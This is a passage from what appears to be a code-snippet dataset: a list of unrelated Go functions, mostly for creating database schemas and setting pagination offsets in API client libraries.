{\n\t\t\t\t\t\tName: \"shortid\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ShortID\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"exec\": {\n\t\t\t\tName: \"exec\",\n\t\t\t\tIndexes: map[string]*memdb.IndexSchema{\n\t\t\t\t\t\"id\": {\n\t\t\t\t\t\tName: \"id\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ID\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"network\": {\n\t\t\t\tName: \"network\",\n\t\t\t\tIndexes: map[string]*memdb.IndexSchema{\n\t\t\t\t\t\"id\": {\n\t\t\t\t\t\tName: \"id\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ID\"},\n\t\t\t\t\t},\n\t\t\t\t\t\"shortid\": {\n\t\t\t\t\t\tName: \"shortid\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ShortID\"},\n\t\t\t\t\t},\n\t\t\t\t\t\"name\": {\n\t\t\t\t\t\tName: \"name\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"Name\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"image\": {\n\t\t\t\tName: \"image\",\n\t\t\t\tIndexes: map[string]*memdb.IndexSchema{\n\t\t\t\t\t\"id\": {\n\t\t\t\t\t\tName: \"id\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ID\"},\n\t\t\t\t\t},\n\t\t\t\t\t\"shortid\": {\n\t\t\t\t\t\tName: \"shortid\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"ShortID\"},\n\t\t\t\t\t},\n\t\t\t\t\t\"name\": {\n\t\t\t\t\t\tName: \"name\",\n\t\t\t\t\t\tUnique: true,\n\t\t\t\t\t\tIndexer: &memdb.StringFieldIndex{Field: \"Name\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\treturn memdb.NewMemDB(schema)\n}", "func (a *AegisResource) InitOffset(c context.Context) {\n\ta.d.InitOffset(c, a.offset, a.attrs, []string{})\n\tnowFormat := time.Now().Format(\"2006-01-02 15:04:05\")\n\ta.offset.SetOffset(0, nowFormat)\n}", "func (dao UserDao) CreateSchema() string {\n\tstmt := dao.createSchemaStatement()\n\n\treturn fmt.Sprintf(stmt, dao.Table, dao.createDOIColumns(), dao.createSchemaColumns())\n}", "func createTableSchema(cols []string, colTypes []*sql.ColumnType) string {\n\tvar (\n\t\tfields = make([]string, len(cols))\n\t\ttyp = \"\"\n\t)\n\tfor i := 0; i < len(cols); i++ {\n\t\tswitch colTypes[i].DatabaseTypeName() {\n\t\tcase \"INT2\", \"INT4\", \"INT8\", // Postgres\n\t\t\t\"TINYINT\", \"SMALLINT\", \"INT\", \"MEDIUMINT\", \"BIGINT\": // MySQL\n\t\t\ttyp = \"INTEGER\"\n\t\tcase \"FLOAT4\", \"FLOAT8\", // Postgres\n\t\t\t\"DECIMAL\", \"FLOAT\", \"DOUBLE\", \"NUMERIC\": // MySQL\n\t\t\ttyp = \"REAL\"\n\t\tdefault:\n\t\t\ttyp = \"TEXT\"\n\t\t}\n\n\t\tif nullable, ok := colTypes[i].Nullable(); ok && !nullable {\n\t\t\ttyp += \" NOT NULL\"\n\t\t}\n\n\t\tfields[i] = \"`\" + cols[i] + \"`\" + \" \" + typ\n\t}\n\n\treturn \"DROP TABLE IF EXISTS `%s`; CREATE TABLE IF NOT EXISTS `%s` (\" + strings.Join(fields, \",\") + \");\"\n}", "func (am *AppMultiple) InitOffset(c context.Context) {\n\tam.d.InitOffset(c, am.offsets[0], am.attrs, []string{})\n}", "func CreateResolveETLJobSqlSchemaRequest() (request *ResolveETLJobSqlSchemaRequest) {\n\trequest = &ResolveETLJobSqlSchemaRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"Emr\", \"2016-04-08\", \"ResolveETLJobSqlSchema\", \"emr\", \"openAPI\")\n\treturn\n}", "func (_options *ListTopicsOptions) SetOffset(offset int64) *ListTopicsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (o *GetRefPlantsParams) validateOffset(formats strfmt.Registry) error {\n\n\tif err := validate.MinimumInt(\"offset\", \"query\", o.Offset, 0, false); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (options *ListWorkspacesOptions) SetOffset(offset int64) *ListWorkspacesOptions {\n\toptions.Offset = core.Int64Ptr(offset)\n\treturn options\n}", "func NewSchema() Intercepter {\n\treturn IntercepterFunc(schema)\n}", "func NewSchemaFrom(fields []interface{}) *ColumnSchema {\n\tsize := len(fields)\n\n\treturn &ColumnSchema{\n\t\tcols: make([]Column, size),\n\t\tcount: size,\n\t}\n}", "func (i *InsertFactBuilder) OOffset(offset int32) *InsertFactBuilder {\n\ti.fact.Object = AKIDOffset(offset)\n\treturn i\n}", "func InitializeTableFromTextFileV2Offset(value int64) InitializeTableFromTextFileV2Attr {\n\treturn func(m optionalAttr) {\n\t\tm[\"offset\"] = value\n\t}\n}", "func (_options *ListTagsSubscriptionOptions) SetOffset(offset int64) *ListTagsSubscriptionOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (_options *ListSubscriptionsOptions) SetOffset(offset int64) *ListSubscriptionsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func initSchema(ctx context.Context, db *sqlx.DB, log *log.Logger, isUnittest bool) func(*sqlx.DB) error {\n\tf := func(db *sqlx.DB) error {\n\t\treturn nil\n\t}\n\n\treturn f\n}", "func MakeTestingSchema(doc interface{}) *Schema {\n\tvar testingPool *schemaPool\n\tif doc != nil {\n\t\ttestingPool = &schemaPool{standaloneDocument: doc}\n\t}\n\treturn &Schema{pool: testingPool}\n}", "func makeSchema(ex SessionExecutor, msg CommonMessage) (rep CommonReply) {\n\tmainTableTmpl := ex.getQuery(makeMainTableOp)\n\tnodeTableTmpl := ex.getQuery(makeNodeTableOp)\n\tentityTableTmpl := ex.getQuery(makeEntityTableOp)\n\n\tif _, err := ex.Exec(fmt.Sprintf(mainTableTmpl, msg.GetMainTable())); err != nil {\n\t\treturn newReply(errors.Wrap(err, \"makeSchema maintable\"))\n\t}\n\tdbLogger.Infof(\"created table:%s\", msg.GetMainTable())\n\n\tif _, err := ex.Exec(fmt.Sprintf(nodeTableTmpl, msg.GetNodeTable())); err != nil {\n\t\treturn newReply(errors.Wrap(err, \"makeSchema nodeTable\"))\n\t}\n\tdbLogger.Infof(\"created table:%s\", msg.GetNodeTable())\n\n\tif _, err := ex.Exec(fmt.Sprintf(entityTableTmpl, msg.GetEntityTable())); err != nil {\n\t\treturn newReply(errors.Wrap(err, \"makeSchema entityTable\"))\n\t}\n\tdbLogger.Infof(\"created table:%s\", msg.GetEntityTable())\n\n\treturn newReply(nil)\n}", "func (message *Message) NewSchema(v interface{}) {\n\tmessage.schema = v\n}", "func (_options *ListConfigurationsOptions) SetOffset(offset int64) *ListConfigurationsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func WithOffset(v int64) (p Pair) {\n\treturn Pair{Key: \"offset\", Value: v}\n}", "func (o *QueryFirewallFieldsParams) SetOffset(offset *string) {\n\to.Offset = offset\n}", "func (s *SchematicServer) generateSchemaTopic(schemaTopic string) error {\n\tconfig := sarama.NewConfig()\n\tconfig.Version = s.val.kafkaVersion\n\tadmin, err := sarama.NewClusterAdmin(s.val.brokerList, config)\n\tif err != nil {\n\t\t// log.Fatal(\"Cannot create cluster admin %s \", err)\n\t\treturn err\n\t}\n\tdefer admin.Close()\n\t// schema topic should be comacted\n\tcleanupPolicy := \"compact\"\n\terr = admin.CreateTopic(schemaTopic, &sarama.TopicDetail{\n\t\tNumPartitions: 1,\n\t\tReplicationFactor: 1,\n\t\tConfigEntries: map[string]*string{\n\t\t\t\"cleanup.policy\": &cleanupPolicy,\n\t\t},\n\t}, false)\n\treturn err\n\n}", "func (_options *ListSourcesOptions) SetOffset(offset int64) *ListSourcesOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (_options *ListSecretVersionLocksOptions) SetOffset(offset int64) *ListSecretVersionLocksOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func generateGoSchemaFile(schema map[string]interface{}, config Config) {\r\n var obj map[string]interface{}\r\n var schemas = make(map[string]interface{})\r\n var outString = \"package main\\n\\nvar schemas = `\\n\"\r\n\r\n var filename = config.Schemas.GoSchemaFilename\r\n var apiFunctions = config.Schemas.API\r\n var elementNames = config.Schemas.GoSchemaElements\r\n \r\n var functionKey = \"API\"\r\n var objectModelKey = \"objectModelSchemas\"\r\n \r\n schemas[functionKey] = interface{}(make(map[string]interface{}))\r\n schemas[objectModelKey] = interface{}(make(map[string]interface{}))\r\n\r\n fmt.Printf(\"Generate Go SCHEMA file %s for: \\n %s and: \\n %s\\n\", filename, apiFunctions, elementNames)\r\n\r\n // grab the event API functions for input\r\n for i := range apiFunctions {\r\n functionSchemaName := \"#/definitions/API/\" + apiFunctions[i]\r\n functionName := apiFunctions[i]\r\n obj = getObject(schema, functionSchemaName)\r\n if obj == nil {\r\n fmt.Printf(\"** WARN ** %s returned nil from getObject\\n\", functionSchemaName)\r\n return\r\n }\r\n schemas[functionKey].(map[string]interface{})[functionName] = obj \r\n } \r\n\r\n // grab the elements requested (these are useful separately even though\r\n // they obviously appear already as part of the event API functions)\r\n for i := range elementNames {\r\n elementName := elementNames[i]\r\n obj = getObject(schema, elementName)\r\n if obj == nil {\r\n fmt.Printf(\"** ERR ** %s returned nil from getObject\\n\", elementName)\r\n return\r\n }\r\n schemas[objectModelKey].(map[string]interface{})[elementName] = obj \r\n }\r\n \r\n // marshal for output to file \r\n schemaOut, err := json.MarshalIndent(&schemas, \"\", \" \")\r\n if err != nil {\r\n fmt.Printf(\"** ERR ** cannot marshal schema file output for writing\\n\")\r\n return\r\n }\r\n outString += string(schemaOut) + \"`\"\r\n ioutil.WriteFile(filename, []byte(outString), 0644)\r\n}", "func NewSchema() *Schema {\n\treturn &Schema{\n\t\ttables: make(map[string]([]*sqlparser.ColumnDefinition)),\n\t}\n}", "func NewSchema(init ...*Schema) *Schema {\n\tvar o *Schema\n\tif len(init) == 1 {\n\t\to = init[0]\n\t} else {\n\t\to = new(Schema)\n\t}\n\treturn o\n}", "func createSchema(db *pg.DB) error {\n\tvar u *Execution\n\tvar s *LoadStatus\n\tmodels := []interface{}{\n\t\tu,\n\t\ts,\n\t}\n\n\tfor _, model := range models {\n\t\terr := db.Model(model).CreateTable(&orm.CreateTableOptions{\n\t\t\tTemp: false,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func registerSchema(fn schemaFn) {\n\tschemas = append(schemas, fn)\n}", "func (_options *ListSecretsOptions) SetOffset(offset int64) *ListSecretsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func schemaCreateRequestToOps(req *scoop_protocol.Config) []scoop_protocol.Operation {\n\tops := make([]scoop_protocol.Operation, 0, len(req.Columns))\n\tfor _, col := range req.Columns {\n\t\tops = append(ops, scoop_protocol.NewAddOperation(col.OutboundName, col.InboundName, col.Transformer, col.ColumnCreationOptions))\n\t}\n\treturn ops\n}", "func (db *EdDb) initDbSchema() (err error) {\n\n\t// First, the persistent parts of the database (main.), then the\n\t// ephemeral parts (mem.)\n\t_, err = db.dbConn.Exec(`\n\n CREATE TABLE IF NOT EXISTS main.person (\n id INTEGER PRIMARY KEY,\n name TEXT NOT NULL,\n numUpdates INTEGER DEFAULT 0\n );\n\n CREATE TABLE mem.sessionActivity (\n id INTEGER PRIMARY KEY,\n personId INTEGER NOT NULL,\n dateTime DATETIME DEFAULT CURRENT_TIMESTAMP\n );\n `)\n\treturn\n}", "func (_options *ListDestinationsOptions) SetOffset(offset int64) *ListDestinationsOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func NewSchema(drv dialect.Driver) *Schema { return &Schema{drv: drv} }", "func (s *Schema) GenerateSchemaFields(FormattedRecords []map[string]interface{}, timestampFormat string) []string {\n\tlog.Printf(\"GOT TIMESTAMP FORMAT: %v\", timestampFormat)\n\ttimestampFields := make([]string, len(FormattedRecords))\n\tfor _, record := range FormattedRecords {\n\t\tfor recordKey, recordValue := range record {\n\t\t\tswitch reflect.ValueOf(recordValue).Kind() {\n\t\t\tcase reflect.Int64:\n\t\t\t\ts.AddField(recordKey, \"long\")\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32:\n\t\t\t\ts.AddField(recordKey, \"int\")\n\t\t\tcase reflect.Bool:\n\t\t\t\ts.AddField(recordKey, \"boolean\")\n\t\t\tcase reflect.Float32:\n\t\t\t\ts.AddField(recordKey, \"float\")\n\t\t\tcase reflect.Float64:\n\t\t\t\t// CHECK IF FLOAT IS ACTUALLY AN INT BECAUSE JSON UNMARSHALLS ALL NUMBERS AS FLOAT64\n\t\t\t\t// IF IT IS, EDIT THE VALUE SO IT IS AN INT AND THEN USE INT SCHEMA\n\t\t\t\tisInt := isFloatInt(recordValue.(float64))\n\t\t\t\tif !isInt {\n\t\t\t\t\ts.AddField(recordKey, \"double\")\n\t\t\t\t} else {\n\t\t\t\t\tnewValue := int(recordValue.(float64))\n\t\t\t\t\trecord[recordKey] = newValue\n\t\t\t\t\ts.AddField(recordKey, \"int\")\n\t\t\t\t}\n\t\t\tcase reflect.String:\n\t\t\t\t// ATTEMPT TO CONVERT STRINGS TO time.Time objects, IF IT FAILS THEN ITS JUST STRING, ELSE MAKE IT A TIMESTAMP\n\t\t\t\tnewValue, _ := recordValue.(string)\n\t\t\t\ttimeValue, err := time.Parse(timestampFormat, newValue)\n\t\t\t\tif err == nil {\n\t\t\t\t\t// BIGQUERY TAKES UNIX MICROS SO WE GET NANO AND DIVIDE BY 1000\n\t\t\t\t\trecord[recordKey] = timeValue.UnixNano() / 1000\n\t\t\t\t\ttimestampFields = append(timestampFields, recordKey)\n\t\t\t\t\ts.AddField(recordKey, \"long\")\n\t\t\t\t} else {\n\t\t\t\t\ts.AddField(recordKey, \"string\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn timestampFields\n}", "func createSchemaAndItems(ctx sessionctx.Context, f *zip.File) error {\n\tr, err := f.Open()\n\tif err != nil {\n\t\treturn errors.AddStack(err)\n\t}\n\t//nolint: errcheck\n\tdefer r.Close()\n\tbuf := new(bytes.Buffer)\n\t_, err = buf.ReadFrom(r)\n\tif err != nil {\n\t\treturn errors.AddStack(err)\n\t}\n\toriginText := buf.String()\n\tindex1 := strings.Index(originText, \";\")\n\tcreateDatabaseSQL := originText[:index1+1]\n\tindex2 := strings.Index(originText[index1+1:], \";\")\n\tuseDatabaseSQL := originText[index1+1:][:index2+1]\n\tcreateTableSQL := originText[index1+1:][index2+1:]\n\tc := context.Background()\n\t// create database if not exists\n\t_, err = ctx.(sqlexec.SQLExecutor).Execute(c, createDatabaseSQL)\n\tlogutil.BgLogger().Debug(\"plan replayer: skip error\", zap.Error(err))\n\t// use database\n\t_, err = ctx.(sqlexec.SQLExecutor).Execute(c, useDatabaseSQL)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// create table or view\n\t_, err = ctx.(sqlexec.SQLExecutor).Execute(c, createTableSQL)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (_options *ListSecretsLocksOptions) SetOffset(offset int64) *ListSecretsLocksOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (_options *ListSecretLocksOptions) SetOffset(offset int64) *ListSecretLocksOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (dbi *DBInstance) CreateSchema() error {\n\n\t// check if peers table exists\n\tv, err := dbi.GetIntValue(SELECT_WORDS_TABLE)\n\tif err == nil && v > 0 {\n\t\tfmt.Println(\"Words table detected skipping schema installation\")\n\t\treturn nil\n\t} else {\n\t\tfmt.Println(\"Words table not found starting schema installation\")\n\t}\n\n\t// create tables\n\t_, err = dbi.SQLSession.Exec(CREATE_WORDS_TABLE)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = dbi.SQLSession.Exec(CREATE_PEERS_TABLE)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = dbi.SQLSession.Exec(CREATE_SUBJECTS_TABLE)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = dbi.SQLSession.Exec(CREATE_USERS_TABLE)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = dbi.SQLSession.Exec(CREAT_SESSIONS_TABLE)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// insert words\n\t_, err = dbi.SQLSession.Exec(INSERT_WORDS)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (options *ListWorkspaceActivitiesOptions) SetOffset(offset int64) *ListWorkspaceActivitiesOptions {\n\toptions.Offset = core.Int64Ptr(offset)\n\treturn options\n}", "func NewSchema()(*Schema) {\n m := &Schema{\n Entity: *iadcd81124412c61e647227ecfc4449d8bba17de0380ddda76f641a29edf2b242.NewEntity(),\n }\n return m\n}", "func (p *Persistence) CreateSchema() {\n\tp.db.MustExec(schema)\n}", "func newSchema(DSN, schema string) *tengo.Schema {\n\ti, err := tengo.NewInstance(\"mysql\", DSN)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\ts, err := i.Schema(schema)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn s\n}", "func (db *DB) CreateSchema() error {\n\tfor _, schema := range schemas {\n\t\tsql, err := data.Asset(schema)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"get schema error: %v\", schema)\n\t\t}\n\t\t_, err = db.Exec(fmt.Sprintf(\"%s\", sql))\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"exec schema error: %s\", sql)\n\t\t}\n\t}\n\treturn nil\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t}\n}", "func (o TemplateAxisDisplayOptionsOutput) AxisOffset() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v TemplateAxisDisplayOptions) *string { return v.AxisOffset }).(pulumi.StringPtrOutput)\n}", "func (o *GetComplianceByResourceTypesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func NewSchema() *Schema {\n\tc := &Schema{\n\t\trequired: false,\n\t\trules: []IValidationRule{},\n\t}\n\tc.base = c\n\treturn c\n}", "func NewOffsets(baseOffset int) *Offsets {\n\treturn &Offsets{\n\t\tCharacterOffset: characterOffset + baseOffset,\n\t\tKnownMagicOffset: knownMagicOffset + baseOffset,\n\t\tEsperOffset: esperOffset + baseOffset,\n\t\tSwdTechOffset: swdTechOffset + baseOffset,\n\t\tLoreOffset: loreOffset + baseOffset,\n\t\tBlitzOffset: blitzOffset + baseOffset,\n\t\tDanceOffset: danceOffset + baseOffset,\n\t\tRageOffset: rageOffset + baseOffset,\n\t\tInventoryItemIdOffset: inventoryItemIDOffset + baseOffset,\n\t\tInventoryItemCountOffset: inventoryItemCountOffset + baseOffset,\n\t\tGoldOffset: goldOffset + baseOffset,\n\t\tStepsOffset: stepsOffset + baseOffset,\n\t\tMapXYOffset: mapXYOffset + baseOffset,\n\t\tAirshipXYOffset: airshipXYOffset + baseOffset,\n\t\tAirshipSettingsOffset: airshipSettingsOffset + baseOffset,\n\t\tCursedShieldFightOffset: cursedShieldFightsOffset + baseOffset,\n\t\tNumberOfSaves: numberOfSavesOffset + baseOffset,\n\t}\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func Schema() (*ytypes.Schema, error) {\n\tuzp, err := UnzipSchema()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unzip schema, %v\", err)\n\t}\n\n\treturn &ytypes.Schema{\n\t\tRoot: &Device{},\n\t\tSchemaTree: uzp,\n\t\tUnmarshal: Unmarshal,\n\t}, nil\n}", "func (o TemplateAxisDisplayOptionsPtrOutput) AxisOffset() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *TemplateAxisDisplayOptions) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.AxisOffset\n\t}).(pulumi.StringPtrOutput)\n}", "func NewBaseSchema() (schema *Schema, err error) {\n\tb, err := baseSchemaBytes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar node yaml.Node\n\terr = yaml.Unmarshal(b, &node)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn NewSchemaFromObject(&node), nil\n}", "func generateSchemaFile(o, wdPath string) error {\n\tsData, err := GenerateSchema()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// check if the provided output path is relative\n\tif !path.IsAbs(o) {\n\t\to = path.Join(wdPath, o)\n\t}\n\n\terr = os.WriteFile(path.Join(o, schemaFileName), sData, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tLog.Info(\"generated JSON schema for BlueprintMetadata\", \"path\", path.Join(o, schemaFileName))\n\treturn nil\n}", "func (w *windowTransformation2) createWindows(ts, indices *array.Int, t *windowSchemaTemplate, bounds []execute.Bounds, cr flux.ColReader) {\n\t// Run through the boundaries and construct the table buffers.\n\toffset := 0\n\tfor _, bound := range bounds {\n\t\tbuilder := w.getBuilder(t, bound)\n\t\toffset = w.appendWindow(ts, indices, bound, builder, offset, cr)\n\t}\n}", "func NewSchemaFromObject(jsonData *yaml.Node) *Schema {\n\tswitch jsonData.Kind {\n\tcase yaml.DocumentNode:\n\t\treturn NewSchemaFromObject(jsonData.Content[0])\n\tcase yaml.MappingNode:\n\t\tschema := &Schema{}\n\n\t\tfor i := 0; i < len(jsonData.Content); i += 2 {\n\t\t\tk := jsonData.Content[i].Value\n\t\t\tv := jsonData.Content[i+1]\n\n\t\t\tswitch k {\n\t\t\tcase \"$schema\":\n\t\t\t\tschema.Schema = schema.stringValue(v)\n\t\t\tcase \"id\":\n\t\t\t\tschema.ID = schema.stringValue(v)\n\n\t\t\tcase \"multipleOf\":\n\t\t\t\tschema.MultipleOf = schema.numberValue(v)\n\t\t\tcase \"maximum\":\n\t\t\t\tschema.Maximum = schema.numberValue(v)\n\t\t\tcase \"exclusiveMaximum\":\n\t\t\t\tschema.ExclusiveMaximum = schema.boolValue(v)\n\t\t\tcase \"minimum\":\n\t\t\t\tschema.Minimum = schema.numberValue(v)\n\t\t\tcase \"exclusiveMinimum\":\n\t\t\t\tschema.ExclusiveMinimum = schema.boolValue(v)\n\n\t\t\tcase \"maxLength\":\n\t\t\t\tschema.MaxLength = schema.intValue(v)\n\t\t\tcase \"minLength\":\n\t\t\t\tschema.MinLength = schema.intValue(v)\n\t\t\tcase \"pattern\":\n\t\t\t\tschema.Pattern = schema.stringValue(v)\n\n\t\t\tcase \"additionalItems\":\n\t\t\t\tschema.AdditionalItems = schema.schemaOrBooleanValue(v)\n\t\t\tcase \"items\":\n\t\t\t\tschema.Items = schema.schemaOrSchemaArrayValue(v)\n\t\t\tcase \"maxItems\":\n\t\t\t\tschema.MaxItems = schema.intValue(v)\n\t\t\tcase \"minItems\":\n\t\t\t\tschema.MinItems = schema.intValue(v)\n\t\t\tcase \"uniqueItems\":\n\t\t\t\tschema.UniqueItems = schema.boolValue(v)\n\n\t\t\tcase \"maxProperties\":\n\t\t\t\tschema.MaxProperties = schema.intValue(v)\n\t\t\tcase \"minProperties\":\n\t\t\t\tschema.MinProperties = schema.intValue(v)\n\t\t\tcase \"required\":\n\t\t\t\tschema.Required = schema.arrayOfStringsValue(v)\n\t\t\tcase \"additionalProperties\":\n\t\t\t\tschema.AdditionalProperties = schema.schemaOrBooleanValue(v)\n\t\t\tcase \"properties\":\n\t\t\t\tschema.Properties = schema.mapOfSchemasValue(v)\n\t\t\tcase \"patternProperties\":\n\t\t\t\tschema.PatternProperties = schema.mapOfSchemasValue(v)\n\t\t\tcase \"dependencies\":\n\t\t\t\tschema.Dependencies = schema.mapOfSchemasOrStringArraysValue(v)\n\n\t\t\tcase \"enum\":\n\t\t\t\tschema.Enumeration = schema.arrayOfEnumValuesValue(v)\n\n\t\t\tcase \"type\":\n\t\t\t\tschema.Type = schema.stringOrStringArrayValue(v)\n\t\t\tcase \"allOf\":\n\t\t\t\tschema.AllOf = schema.arrayOfSchemasValue(v)\n\t\t\tcase \"anyOf\":\n\t\t\t\tschema.AnyOf = schema.arrayOfSchemasValue(v)\n\t\t\tcase \"oneOf\":\n\t\t\t\tschema.OneOf = schema.arrayOfSchemasValue(v)\n\t\t\tcase \"not\":\n\t\t\t\tschema.Not = NewSchemaFromObject(v)\n\t\t\tcase \"definitions\":\n\t\t\t\tschema.Definitions = schema.mapOfSchemasValue(v)\n\n\t\t\tcase \"title\":\n\t\t\t\tschema.Title = schema.stringValue(v)\n\t\t\tcase \"description\":\n\t\t\t\tschema.Description = schema.stringValue(v)\n\n\t\t\tcase \"default\":\n\t\t\t\tschema.Default = v\n\n\t\t\tcase \"format\":\n\t\t\t\tschema.Format = schema.stringValue(v)\n\t\t\tcase \"$ref\":\n\t\t\t\tschema.Ref = schema.stringValue(v)\n\t\t\tdefault:\n\t\t\t\tfmt.Printf(\"UNSUPPORTED (%s)\\n\", k)\n\t\t\t}\n\t\t}\n\n\t\t// insert schema in global map\n\t\tif schema.ID != nil {\n\t\t\tif schemas == nil {\n\t\t\t\tschemas = make(map[string]*Schema, 0)\n\t\t\t}\n\t\t\tschemas[*(schema.ID)] = schema\n\t\t}\n\t\treturn schema\n\n\tdefault:\n\t\tfmt.Printf(\"schemaValue: unexpected node %+v\\n\", jsonData)\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "func NewExecutableSchema(resolvers ResolverRoot) graphql.ExecutableSchema {\n\treturn MakeExecutableSchema(shortMapper{r: resolvers})\n}", "func (os *Offsets) AddOffset(t string, p int32, o int64) {\n\tos.Add(Offset{\n\t\tTopic: t,\n\t\tPartition: p,\n\t\tOffset: o,\n\t\tLeaderEpoch: -1,\n\t})\n}", "func CreateBatchStopStreamsRequest() (request *BatchStopStreamsRequest) {\n\trequest = &BatchStopStreamsRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"vs\", \"2018-12-12\", \"BatchStopStreams\", \"\", \"\")\n\trequest.Method = requests.POST\n\treturn\n}", "func (driver) InsertOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tak, sk string,\n\tn uint64,\n) (_ bool, err error) {\n\tdefer sqlx.Recover(&err)\n\n\treturn sqlx.TryExecRow(\n\t\tctx,\n\t\ttx,\n\t\t`INSERT INTO stream_offset SET\n\t\t\tapp_key = ?,\n\t\t\tsource_app_key = ?,\n\t\t\tnext_offset = ?\n\t\tON DUPLICATE KEY UPDATE\n\t\t\tapp_key = app_key`, // do nothing\n\t\tak,\n\t\tsk,\n\t\tn,\n\t), nil\n}", "func NewExecutableSchema(cfg Config) graphql.ExecutableSchema {\n\treturn &executableSchema{\n\t\tresolvers: cfg.Resolvers,\n\t\tdirectives: cfg.Directives,\n\t\tcomplexity: cfg.Complexity,\n\t}\n}", "func encodeSchema(w io.Writer, s *schema.Schema) (err error) {\n\tif s == nil {\n\t\treturn\n\t}\n\n\tew := errWriter{w: w}\n\tif s.Description != \"\" {\n\t\tew.writeFormat(`\"description\": %q, `, s.Description)\n\t}\n\tew.writeString(`\"type\": \"object\", 